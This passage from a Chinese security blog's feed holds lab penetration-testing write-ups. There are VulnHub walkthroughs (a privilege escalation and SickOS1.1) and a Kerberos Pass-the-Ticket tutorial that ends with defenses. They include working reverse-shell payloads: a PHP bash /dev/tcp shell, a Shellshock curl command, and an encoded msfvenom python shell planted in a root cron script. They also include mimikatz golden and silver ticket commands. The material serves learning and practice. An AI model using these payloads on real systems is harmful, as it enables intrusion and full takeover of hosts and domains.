&lt;li&gt;再次执行enc文件，发现多了两个txt文档，enc.txt和key.txt，查看内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.C8GLd4vC_Z26ejI9.webp&quot; alt=&quot;enc执行&quot; /&gt;&lt;/li&gt;
&lt;li&gt;enc.txt给出一串字符，key.txt给出任务，让把ippsec使用md5加密作为key
&lt;img src=&quot;https://www.dxowo8.top/_astro/22.C1AKjc2D_2aIORq.webp&quot; alt=&quot;文件查看&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;sudo echo -n &apos;ippsec&apos; | md5sum | awk -F &apos; &apos; &apos;{print $1}&apos; | tr -d &apos;\n&apos; | od -A n -t x1 | tr -d &apos;\n&apos; | tr -d &apos; &apos;&lt;/code&gt;（按照管道符分别作用为：输出字符串，计算字符串md5哈希，提取纯哈希值，删除其中换行符，以单字节16进制输出每个字符，删除所有换行，删除所有空格）
得到key:3336366137346362336339353964653137643631646233303539316333396431&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;openssl --help&lt;/code&gt;复制openssl支持的加密算法。
&lt;img src=&quot;https://www.dxowo8.top/_astro/23.D06dJcqV_Z25TlQM.webp&quot; alt=&quot;openssl&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;sudo vim CipherType&lt;/code&gt;创建一个新文件存放这些算法。
&lt;img src=&quot;https://www.dxowo8.top/_astro/24.COYLTUuL_Z20MRKC.webp&quot; alt=&quot;CipherType&quot; /&gt;&lt;/li&gt;
&lt;li&gt;整理算法名称用于后续替换变量解密，执行&lt;code&gt;sudo awk &apos;{gsub(/ /,&quot;\n&quot;);print}&apos; CipherType | sort | uniq&lt;/code&gt;,即将CipherType文件中的空格替换成换行符，然后对所有内容按顺序排列并去重。
&lt;img src=&quot;https://www.dxowo8.top/_astro/25.9H23zkqp_1a9Vpj.webp&quot; alt=&quot;算法整理&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将上面输出存放到新文件Cipher中，构建for循环进行解密:&lt;code&gt;for Cipher in $(cat Cipher);do echo &apos;nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=&apos; | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431;done&lt;/code&gt;，每次取出一个Cipher中存放的算法，使用key去破解enc.txt给出字符的内容，成功破解出一个密码&quot;tribute_to_ippsec&quot;
&lt;img src=&quot;https://www.dxowo8.top/_astro/26.CSoNSvHW_106wVP.webp&quot; alt=&quot;encpassword&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用ssh连接，&lt;code&gt;sudo ssh saket@192.168.245.148&lt;/code&gt;并输入密码，登录成功查看权限，/home/victor/undefeated_victor有root权限
&lt;img src=&quot;https://www.dxowo8.top/_astro/27.uUYAHEcI_Z1pW6X3.webp&quot; alt=&quot;ssh&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试执行该文件，发现缺少一个/tmp/challenge文件，我们cd到/tmp去写一个challenge文件用于提权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/28.D4rtoWon_2mNCBT.webp&quot; alt=&quot;执行&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;echo &apos;#!/bin/bash&apos; &amp;gt;challenge&lt;/code&gt;再执行&lt;code&gt;echo &apos;/bin/bash&apos; &amp;gt;&amp;gt;challenge&lt;/code&gt;,共写入两行，第一行是脚本解释器声明，第二行是脚本要执行的命令,并且经过&lt;code&gt;ls -liah&lt;/code&gt;查看得知challenge没有x权限，我们用chmod添加x权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/29.CSkGXDbs_1MuMmV.webp&quot; alt=&quot;写入challenge&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行后，成功拿到root的shell，靶机渗透结束。
&lt;img src=&quot;https://www.dxowo8.top/_astro/30.DQnl7cx1_XM9lk.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;拿到www-data后可以使用searchsploit linux ubuntu 4.10.0-28查到内核漏洞，可以通过把漏洞利用程序直接上传到目标机器上编译执行直接拿到root权限，但实际很少用内核漏洞，故不多讲解这种方法。&lt;/li&gt;
&lt;li&gt;第20步执行&lt;code&gt;find / -name &apos;*backup*&apos; 2&amp;gt;/dev/null | sort | less&lt;/code&gt;时，在其它时候也可以找含有&quot;pass&quot;之类的文件，通常这两个词相关文件可能涉及密码等信息。&lt;/li&gt;
&lt;li&gt;openssl解密方面：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;enc为openssl中对称加密算法指令，上述命令-a是对输入的Base64字符串解码，还原出加密后的二进制密文，-d是对解码后的二进制密文执行解密操作，-K是提供解密所需的十六进制密钥；详细可参考&lt;a href=&quot;https://blog.csdn.net/qq_63442530/article/details/136834007&quot;&gt;&apos;https://blog.csdn.net/qq_63442530/article/details/136834007&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;第23步执行echo的-n目的为使&apos;ippsec&apos;进行md5加密时，禁止结尾自动加换行符行为，使得加密出的值真实有效。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-SickOS1.1渗透全流程双解法记录</title><link>https://www.dxowo8.top/posts/post-6/6/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-6/6/</guid><description>记录SickOS1.1靶机两条渗透路线:通过squid代理的CMS渗透和Shellshock利用</description><pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-SickOS1.1渗透全流程双解法记录&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的SickOS1.1靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://www.vulnhub.com/entry/sickos-11,132/&quot;&gt;&apos;https://www.vulnhub.com/entry/sickos-11,132/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程一&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，首先打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;sudo nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.142为靶机。（192.168.245.136为kali的ip地址）
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BUogrdvg_Z2bSBnO.webp&quot; alt=&quot;主机发现&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进行端口发现，执行&lt;code&gt;sudo nmap --min-rate 10000 -p- 192.168.245.142&lt;/code&gt;，并对开放端口记录用于后续渗透（或-oA输出保存）发现22，3128，8080端口，其中22，3128为开放端口，分别用于ssh连接和squid代理。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DYhSTH_J_gsYl0.webp&quot; alt=&quot;端口发现&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;sudo nmap -sT -sV -sC -O -p22,3128,8080 192.168.245.142&lt;/code&gt;，并记录有用信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.CxhJvlJv_Z1F00L7.webp&quot; alt=&quot;端口扫描&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.BQqy3SzT_EYTvh.webp&quot; alt=&quot;端口结果&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行漏洞扫描，执行&lt;code&gt;sudo nmap --script=vuln -p22,3128,8080 192.168.245.142&lt;/code&gt;未发现明显漏洞。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.CZt1-3b6_1Enh6w.webp&quot; alt=&quot;漏洞结果&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问3128端口页面对信息进行有用信息收集，搜索squid3.1.19得知是一款HTTP代理服务器软件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.2uFey1a4_1E3lBd.webp&quot; alt=&quot;3128访问&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试执行&lt;code&gt;sudo dirb http://192.168.245.142:3128&lt;/code&gt;对3128端口尝试目录爆破，看看有没有新的发现。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.DtibRJ3G_Z25P7Ux.webp&quot; alt=&quot;爆破3128&quot; /&gt;&lt;/li&gt;
&lt;li&gt;3128没有发现，考虑到3128是代理服务器软件，尝试用3128端口代理扫描该靶机，执行&lt;code&gt;sudo dirb http://192.168.245.142 -p http://192.168.245.142:3128&lt;/code&gt;，看到了很多目录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.DY2Jk9l8_Z1s7Edu.webp&quot; alt=&quot;代理爆破目录&quot; /&gt;&lt;/li&gt;
&lt;li&gt;设置代理服务器访问网站发现收获不大，有一个BLEHHH!大概表示厌烦的情绪。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.DWh-Qt9v_1UVpgY.webp&quot; alt=&quot;访问页面&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看robots.txt,发现一个目录/wolfcms，前往访问（注意保持代理开启）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.z2gKQofG_1vVgpU.webp&quot; alt=&quot;robots.txt&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.vMX2vB6N_Z12R2ER.webp&quot; alt=&quot;cms&quot; /&gt;&lt;/li&gt;
&lt;li&gt;简单看了看页面后，猜测cms会有后台登陆页面，后面加/?admin搜索，成功找到了这个页面，可以去github上搜索以下该项目原码，发现没有默认登录密码，尝试一下常见用户名和密码，有时可以碰巧登录，或者尝试字典爆破，当尝试到admin/admin时成功登录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.JdJST5p3_Z2F9XD.webp&quot; alt=&quot;后台&quot; /&gt;&lt;/li&gt;
&lt;li&gt;看到可编辑的php代码我们想到可以加入一句话木马，在加载时执行，如图选中，写入&lt;code&gt;&amp;lt;?php exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.245.136/443 0&amp;gt;&amp;amp;1&apos;&quot;);?&amp;gt;&lt;/code&gt;，让它连接我们的kali的443端口（优先选择不易拦截端口）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.CNo0igrx_eU5TE.webp&quot; alt=&quot;植入木马&quot; /&gt;&lt;/li&gt;
&lt;li&gt;kali虚拟机打开监听443端口等待连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.Ba4UdzoP_rpcsM.webp&quot; alt=&quot;443监听&quot; /&gt;&lt;/li&gt;
&lt;li&gt;点击wolfcms页面的articles标签后，kali连接成功，执行指令查看当前用户身份，状态以及目录信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.DwwcdowD_ZS760c.webp&quot; alt=&quot;拿到shell&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看config.php时候看到了一个数据库用户名密码，这个密码很有可能能登录一些系统用户，我们执行一下&lt;code&gt;cat /etc/passwd&lt;/code&gt;找一下有价值的用户。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.DnxvYHZZ_ZoCCsE.webp&quot; alt=&quot;文件信息搜集&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对www-data，sickos等用户尝试ssh连接，试试config.php里面的密码，发现sickos可以连接成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.BRC57aaN_ZTXkDs.webp&quot; alt=&quot;用户查看&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.AbiQ_bvy_ZJGQPq.webp&quot; alt=&quot;ssh连接&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看sickos拥有all权限，进行&lt;code&gt;sudo /bin/bash&lt;/code&gt;提权，拿到root的shell，寻找一番找到了flag，至此SickOS1.1靶机的渗透结束。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.kTG4DMjV_Zt6G6A.webp&quot; alt=&quot;查看权限提权&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.Bz3g2wgm_1geU6u.webp&quot; alt=&quot;win&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程二&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;对于第一种方法了解了squid3.1.19后如果执行&lt;code&gt;sudo nikto -h 192.168.245.142 -useproxy http://192.168.245.142:3128&lt;/code&gt;可以用3128端口对其进行漏洞扫描，分析后发现了一个shellshock的高危漏洞，接下来考虑利用。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.AnFbiBmI_1VRsmI.webp&quot; alt=&quot;漏扫结果&quot; /&gt;&lt;/li&gt;
&lt;li&gt;搜索该漏洞编号找到的一个验证指令为&lt;code&gt;sudo curl -v --proxy http://IP:3128 http://IP/cgi-bin/status -H &quot;Referer:() { test; }; echo &apos;Content-Type: text/plain&apos;; echo; echo; /usr/bin/id;exit&quot;&lt;/code&gt;，如果返回id内容说明存在漏洞。
&lt;img src=&quot;https://www.dxowo8.top/_astro/22.CFxBTwVU_Z1eCmag.webp&quot; alt=&quot;验证漏洞&quot; /&gt;&lt;/li&gt;
&lt;li&gt;发现漏洞真实性后，使用msfvenom生成一段反弹shell的payload：&lt;code&gt;0&amp;lt;&amp;amp;154-;exec 154&amp;lt;&amp;gt;/dev/tcp/192.168.245.136/443;sh &amp;lt;&amp;amp;154 &amp;gt;&amp;amp;154 2&amp;gt;&amp;amp;154&lt;/code&gt;替换上一步的echo后的指令，复制一个kali会话监听443端口，并执行拼接的指令&lt;code&gt;sudo curl -v --proxy http://192.168.245.142:3128 http://192.168.245.142/cgi-bin/status -H &quot;Referer:() { test; }; 0&amp;lt;&amp;amp;154-;exec 154&amp;lt;&amp;gt;/dev/tcp/192.168.245.136/443;/bin/sh &amp;lt;&amp;amp;154 &amp;gt;&amp;amp;154 2&amp;gt;&amp;amp;154&quot;&lt;/code&gt;（这里原本payload的sh改为/bin/sh否则因路径不匹配无法连接）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/23.CmVnOqKt_2vHWXB.webp&quot; alt=&quot;生成漏洞payload&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/24.DDypbBxe_Z1MgKtC.webp&quot; alt=&quot;拿到shell&quot; /&gt;&lt;/li&gt;
&lt;li&gt;由于反弹的shell交互性不太好，可以执行&lt;code&gt;python -c &quot;import pty;pty.spawn(&apos;/bin/bash&apos;)&quot;&lt;/code&gt;，优化shell交互性。
&lt;img src=&quot;https://www.dxowo8.top/_astro/25.BfkMvkCp_2vvdaY.webp&quot; alt=&quot;交互优化&quot; /&gt;&lt;/li&gt;
&lt;li&gt;cd到/var/www目录下发现一个connect.py文件，查看后发现文本提示计划任务，我们去其他目录寻找执行此文件的计划任务，去/etc/cron.d/查看各个文件内容，发现了执行connect.py的任务文件，并且是root权限执行，因此我们想到修改connect.py文件内容来获得更高权限的shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/26.6-A67UGA_Z19sM4g.webp&quot; alt=&quot;计划任务&quot; /&gt;&lt;/li&gt;
&lt;li&gt;继续使用msfvenom生成python格式的payload，指令为&lt;code&gt;sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.245.136 lport=444 -f raw&lt;/code&gt;，生成的payload为&lt;code&gt;exec(__import__(&apos;zlib&apos;).decompress(__import__(&apos;base64&apos;).b64decode(__import__(&apos;codecs&apos;).getencoder(&apos;utf-8&apos;)(&apos;eNp9j8EKwjAQRH8l9JSARBNjUSSHIhVEVLC9FxsjLdYkdNP/1zYBbz0ts292hm0/zvYegVVv7dECIQRD7XqrNMAkLaD9b6DGgpcJ23HK0i3lYkPZOk0CGyOkECIokCGNhoGjyo7V6ZqXoSOsitvhXBXlPc8uJN5SZY3RymM8Fk7mMZ1EboE+B8cx0FfbaWMxmSyreczmMY/Yyf/vVD26DifLujVLaBLyBSijU94=&apos;)[0])))&lt;/code&gt;前往保存到connect.py。
&lt;img src=&quot;https://www.dxowo8.top/_astro/27.ClNyZw4e_ZsBbqV.webp&quot; alt=&quot;pythonshell&quot; /&gt;&lt;/li&gt;
&lt;li&gt;开启kali的444端口等待计划任务执行连接，连接后拿到root的shell，意味着渗透成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/28.CVh3Irxe_Z2qXPwY.webp&quot; alt=&quot;444端口&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;linux系统下定时任务通常含有&apos;cron&apos;，可以搜索相关目录：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;/etc/crontab：系统全局的 crontab 配置文件，直接定义系统级定时任务。&lt;/li&gt;
&lt;li&gt;/etc/cron.d/目录：存放自定义的系统级定时任务文件&lt;/li&gt;
&lt;li&gt;/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/：按执行频率分类的脚本目录，系统会自动定时执行这些目录下的可执行脚本。&lt;/li&gt;
&lt;li&gt;/etc/cron.deny、/etc/cron.allow：控制哪些用户可以使用 crontab 的权限文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;方法二保存python的payload的时候，可能由于shell交互性差编辑困难的问题，打开后按O之后直接粘贴payload，按esc输入:wq回车即可，可以通过cat检验一下保存的python代码是否正确。&lt;/li&gt;
&lt;li&gt;本机对基础有一定门槛，从中可以学到很多思路，如利用代理应用程序扫描和爆破，对潜在目录和弱密码的猜测（这种情况有时可能很常见），对于收集到的漏洞，cms平台，squid代理应该多去搜索相关信息，将有利于渗透工作的开展。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>域渗透之 PTT 攻击：从 Kerberos 原理到票据伪造与传递</title><link>https://www.dxowo8.top/posts/post-5/5/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-5/5/</guid><description>涵盖ms14-068利用程序和kekeo工具操作、mimikatz工具金银票据生成</description><pubDate>Sat, 27 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;域渗透之 PTT 攻击：从 Kerberos 原理到票据伪造与传递&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本次实验使用的三款工具链接如下：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;ms14-068:&lt;a href=&quot;https://github.com/ianxtianxt/MS14-068&quot;&gt;https://github.com/ianxtianxt/MS14-068&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mimikatz:&lt;a href=&quot;https://github.com/gentilkiwi/mimikatz/releases&quot;&gt;https://github.com/gentilkiwi/mimikatz/releases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kekeo:&lt;a href=&quot;https://github.com/gentilkiwi/kekeo&quot;&gt;https://github.com/gentilkiwi/kekeo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;本文仅为个人技术实验记录，工具使用需严格遵守当地法律法规，请勿用于任何未授权的网络活动，违规使用后果自负。&lt;/li&gt;
&lt;li&gt;个人仍处于初级学习阶段，难免出现原理解释错误与疏漏的问题，若出现谬误之处欢迎各位批评指正。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;域环境信息&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;域名为owo.com，域控主机为下面的owo\administrator。&lt;/li&gt;
&lt;li&gt;winserver2008 R2 IP为192.168.245.10 域用户名为administrator。&lt;/li&gt;
&lt;li&gt;win7旗舰版 IP为192.168.245.12 域用户名为web。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;kerberos协议&lt;/h2&gt;
&lt;p&gt;kerberos是一种网络认证协议，设计目的是通过密钥系统为客户机和服务器应用程序提供强大的认证服务，认证流程不需要依赖主机操作系统认证，通过传统密码技术作为可信任的第三方执行认证服务。
对kerberos认证的更多详细介绍可以参考文章&lt;a href=&quot;https://iconabc.github.io/posts/4f0d5716.html&quot;&gt;https://iconabc.github.io/posts/4f0d5716.html&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;MS14-068漏洞利用&lt;/h2&gt;
&lt;h3&gt;漏洞原理和影响版本&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Kerberos 的 TGT（票据授予票据）请求中，微软未正确校验用户的 PAC（特权属性证书）数据。普通域用户可构造恶意 PAC，伪造自己是域管理员，从而让域控返回域管理员权限的 TGT 票据。&lt;/li&gt;
&lt;li&gt;受影响系统：Windows Server 2003/2008/2008 R2（未安装 KB3011780 补丁）；&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;利用流程&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;在域内用户的主机（上述web）打开cmd，查询补丁情况，执行以下指令：
&lt;code&gt;systeminfo | findstr &quot;3011780&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/1.C7IFrCLg_Zh81me.webp&quot; alt=&quot;查补丁&quot; /&gt;&lt;/p&gt;
&lt;p&gt;返回为空说明没有对应补丁，使用&lt;code&gt;klist purge&lt;/code&gt;清除历史票据，并用&lt;code&gt;klist&lt;/code&gt;检查票据缓存后进入下一步。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;利用ms14-068.exe工具执行以下指令：
&lt;code&gt;ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员的sid -d 域控制器的地址&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DvxxgnGu_LRBOc.webp&quot; alt=&quot;生成票据&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;这里使用mimikatz工具导入票据，输入&lt;code&gt;kerberos::ptc 生成的票据名称&lt;/code&gt;（这样写请注意mimikatz和票据要在同目录下）。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/3.CrfJGTjU_ZuggHp.webp&quot; alt=&quot;导入票据&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在mimikatz中可以使用&lt;code&gt;kerberos::list&lt;/code&gt;查看票据（&lt;code&gt;kerberos::purge&lt;/code&gt;清除票据），发现导入了我们生成的票据。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/4.Bxc7s2qM_nzb8s.webp&quot; alt=&quot;票据查看&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在新的cmd窗口输入&lt;code&gt;dir \\域控主机名\C$&lt;/code&gt;发现成功展示域控主机的C盘根目录，此时已经拿到了域管理员权限。（注意是域控主机名，不是IP！！）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/5.3sipB5iE_Z13DLbI.webp&quot; alt=&quot;成果&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;kekeo工具使用域成员ntlm哈希生成tgt票据&lt;/h2&gt;
&lt;h3&gt;简单定位&lt;/h3&gt;
&lt;p&gt;kekeo 是一款轻量级 Kerberos 协议专用工具，专注于域环境中 Kerberos 票据的操作与攻击，该工具提供了许多常用模块（其中tgt、tgs模块较为常用）。&lt;/p&gt;
&lt;h3&gt;利用域用户ntlm哈希生成票据与导入&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;在其工作目录打开cmd窗口，输入以下生成票据：
&lt;code&gt;./kekeo &quot;tgt::ask /user:域成员名 /domain:域名 /ntlm:mtlm哈希&quot;&lt;/code&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.Dd8h6O-F_ZSNHcS.webp&quot; alt=&quot;票据生成&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我用的域控主机的ntlm哈希值，这样可以生成一个域管理员权限的tgt票据（若只有普通域用户的ntlm哈希只能生成域用户权限的tgt凭证）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;清除现有票据并导入刚才生成的票据:
&lt;code&gt;kerberos::ptt 票据名&lt;/code&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.DYir9o23_Z2nd3Wl.webp&quot; alt=&quot;票据导入&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开新的cmd窗口输入&lt;code&gt;dir \\域控主机名\C$&lt;/code&gt;已经拿到了域管理员权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.BeKU7Cx7_Z10cIXw.webp&quot; alt=&quot;ok&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;小补充&lt;/h3&gt;
&lt;p&gt;关于域控主机名获取是信息收集模块的内容，这里简单说一下部分在域用户上执行的常用信息收集指令：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;net time /domain&lt;/code&gt;:获取主域（主机名）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ipconfig /all&lt;/code&gt;:通过dns后缀判断是否有域&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nslookup 域名&lt;/code&gt;:获取域控制器IP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;netstat -ano&lt;/code&gt;:判断域内角色
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.DURk2LVs_DPEnP.webp&quot; alt=&quot;domain&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;利用mimikatz生成黄金票据（tgt）和白银票据（tgs）&lt;/h2&gt;
&lt;h3&gt;krbtgt用户&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;主要功能
krbtgt 是域控上密钥分发中心（KDC）的专属账户，主要负责两个关键操作：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;生成 TGT 票据：用户登录域时，KDC 会用krbtgt的密码哈希加密生成 TGT，这是域内后续申请所有服务票据的基础。&lt;/li&gt;
&lt;li&gt;票据校验与加密：所有 Kerberos 票据的加密、解密和完整性校验，都依赖krbtgt的密钥（密码哈希）。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;账户特性&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;隐藏账户：默认不会显示在域用户列表中，只能通过域数据库（NTDS.dit）或dcsync命令查看。&lt;/li&gt;
&lt;li&gt;权限极高：不属于任何用户组，但拥有域内 Kerberos 认证的最高控制权，其哈希是生成黄金票据的核心条件。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;黄金票据生成（tgt）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;使用mimikatz以下指令在有域管理员权限的窗口获取krbtgt用户的sid和ntlm哈希：
&lt;code&gt;lsadump::dcsync /domain:域名 /user:krbtgt&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/10.CzKfFZYd_1kRD32.webp&quot; alt=&quot;krbtgt&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在mimikatz工作目录执行以下指令：
&lt;code&gt;mimikatz.exe &quot;kerberos::golden /admin:system /domain:域名 /sid:krbtgt用户sid /krbtgt: krbtgt用户ntlm哈希 /ticket: 生成的文件名(如1.kirbi)&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/11.BoavRjQK_Z2dTHVg.webp&quot; alt=&quot;tgt&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用mimikatz等工具按照以上流程导入票据和利用&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;白银票据生成（tgs）&lt;/h3&gt;
&lt;p&gt;使用mimikatz，与tgt流程相似，在此不过多阐述，简单说一下伪造票据格式：
&lt;code&gt;kerberos::golden /domain:域名 /sid:客户端域用户sid /target:访问域计算机全名或IP地址 /rc4:域用户ntlm哈希 /service: 要伪造的服务（如cifs） /user:要伪造域用户名 /ptt&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;防御思路&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;MS14-068 防御：安装 KB3011780 补丁；监控域内异常 TGT 请求&lt;/li&gt;
&lt;li&gt;黄金/白银票据防御：
&lt;ul&gt;
&lt;li&gt;定期更换 krbtgt 账户密码（需更换两次，避免历史哈希生效）。&lt;/li&gt;
&lt;li&gt;限制域管理员的登录权限（禁止在其它主机登录）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;通用防御：部署 EDR 工具，监控 Mimikatz/Kekeo 等工具的执行；开启 Kerberos 日志审计，追踪票据注入行为。&lt;/li&gt;
&lt;/ol&gt;
